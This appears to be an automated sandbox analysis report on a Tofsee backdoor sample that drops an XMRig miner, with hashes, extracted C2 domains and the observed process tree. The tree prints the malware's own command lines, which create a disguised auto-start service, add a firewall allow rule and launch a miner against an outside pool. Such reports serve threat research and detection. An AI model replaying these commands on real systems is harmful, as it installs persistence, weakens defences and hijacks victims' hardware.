Analysis

  • max time kernel
    150s
  • max time network
    159s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    12/10/2023, 16:39

General

  • Target

    file.exe

  • Size

    214KB

  • MD5

    853a0ef89b1532e80c7e14d14cbf0073

  • SHA1

    8d83ff39485dab7df49d527cca9bfc53938597e8

  • SHA256

    a34e57fcf36648d26b35a8e3e43d4c523bd07216bda22c2a283c4a6a22e7d070

  • SHA512

    b1eb21f26a6c7857356b7b8578cfbc0bdb1bb9a3ae6d0c7b9d0968e9bce4c06544124f03f4cbcd7e975be6f8237cdd10f22c12fecaddfbd8854c687503839c9d

  • SSDEEP

    3072:+AXMadk9mLIqG7/IovYa4EVFW5hgWAErvf+XSLwVtxjpkwnwxLB5bSDT0K:TMaO9mL07/IrMF1WFVLwlZwdnSDT

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1648
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\onhbvkgm\
      2⤵
        PID:1256
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\lfkidgdf.exe" C:\Windows\SysWOW64\onhbvkgm\
        2⤵
          PID:2624
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create onhbvkgm binPath= "C:\Windows\SysWOW64\onhbvkgm\lfkidgdf.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2740
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description onhbvkgm "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2656
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start onhbvkgm
          2⤵
          • Launches sc.exe
          PID:2792
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2568
      • C:\Windows\SysWOW64\onhbvkgm\lfkidgdf.exe
        C:\Windows\SysWOW64\onhbvkgm\lfkidgdf.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2836
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2544
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2860

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\lfkidgdf.exe

        Filesize

        13.0MB

        MD5

        146c2dbc2e8898a91e718eece5a06788

        SHA1

        921d8e479ddb7b774406f38073afd3ff2ff1cefd

        SHA256

        2d2ad6bfffd0c27501b822fffaa7bb88590c279f067d4d8a7bd35fc929640535

        SHA512

        18546bb6bf4ec73c2fcf1c3cbcb39eab0ef734af24d261cf8580b7696af39ef7510e326842970514105d78b92233018c523759187c04336842895065e0a72a5f

      • C:\Windows\SysWOW64\onhbvkgm\lfkidgdf.exe

        Filesize

        13.0MB

        MD5

        146c2dbc2e8898a91e718eece5a06788

        SHA1

        921d8e479ddb7b774406f38073afd3ff2ff1cefd

        SHA256

        2d2ad6bfffd0c27501b822fffaa7bb88590c279f067d4d8a7bd35fc929640535

        SHA512

        18546bb6bf4ec73c2fcf1c3cbcb39eab0ef734af24d261cf8580b7696af39ef7510e326842970514105d78b92233018c523759187c04336842895065e0a72a5f

      • memory/1648-0-0x00000000001B0000-0x00000000001C5000-memory.dmp

        Filesize

        84KB

      • memory/1648-1-0x0000000000250000-0x0000000000263000-memory.dmp

        Filesize

        76KB

      • memory/1648-2-0x0000000000400000-0x0000000000486000-memory.dmp

        Filesize

        536KB

      • memory/1648-6-0x0000000000400000-0x0000000000486000-memory.dmp

        Filesize

        536KB

      • memory/1648-8-0x00000000001B0000-0x00000000001C5000-memory.dmp

        Filesize

        84KB

      • memory/1648-7-0x0000000000250000-0x0000000000263000-memory.dmp

        Filesize

        76KB

      • memory/2544-36-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/2544-41-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/2544-11-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/2544-13-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2544-57-0x0000000000190000-0x0000000000197000-memory.dmp

        Filesize

        28KB

      • memory/2544-18-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2544-19-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2544-21-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2544-22-0x0000000001A20000-0x0000000001C2F000-memory.dmp

        Filesize

        2.1MB

      • memory/2544-25-0x0000000001A20000-0x0000000001C2F000-memory.dmp

        Filesize

        2.1MB

      • memory/2544-26-0x00000000000A0000-0x00000000000A6000-memory.dmp

        Filesize

        24KB

      • memory/2544-29-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/2544-32-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/2544-33-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/2544-34-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/2544-35-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/2544-56-0x0000000005530000-0x000000000593B000-memory.dmp

        Filesize

        4.0MB

      • memory/2544-37-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/2544-38-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/2544-39-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/2544-40-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/2544-10-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2544-42-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/2544-43-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/2544-44-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/2544-45-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/2544-46-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/2544-47-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/2544-48-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/2544-49-0x00000000000D0000-0x00000000000D5000-memory.dmp

        Filesize

        20KB

      • memory/2544-52-0x00000000000D0000-0x00000000000D5000-memory.dmp

        Filesize

        20KB

      • memory/2544-53-0x0000000005530000-0x000000000593B000-memory.dmp

        Filesize

        4.0MB

      • memory/2836-9-0x0000000000400000-0x0000000000486000-memory.dmp

        Filesize

        536KB

      • memory/2836-15-0x0000000000400000-0x0000000000486000-memory.dmp

        Filesize

        536KB

      • memory/2860-61-0x00000000000C0000-0x00000000001B1000-memory.dmp

        Filesize

        964KB

      • memory/2860-63-0x00000000000C0000-0x00000000001B1000-memory.dmp

        Filesize

        964KB

      • memory/2860-67-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/2860-72-0x00000000000C0000-0x00000000001B1000-memory.dmp

        Filesize

        964KB

      • memory/2860-71-0x00000000000C0000-0x00000000001B1000-memory.dmp

        Filesize

        964KB

      • memory/2860-73-0x00000000000C0000-0x00000000001B1000-memory.dmp

        Filesize

        964KB

      • memory/2860-74-0x00000000000C0000-0x00000000001B1000-memory.dmp

        Filesize

        964KB

      • memory/2860-75-0x00000000000C0000-0x00000000001B1000-memory.dmp

        Filesize

        964KB

      • memory/2860-76-0x00000000000C0000-0x00000000001B1000-memory.dmp

        Filesize

        964KB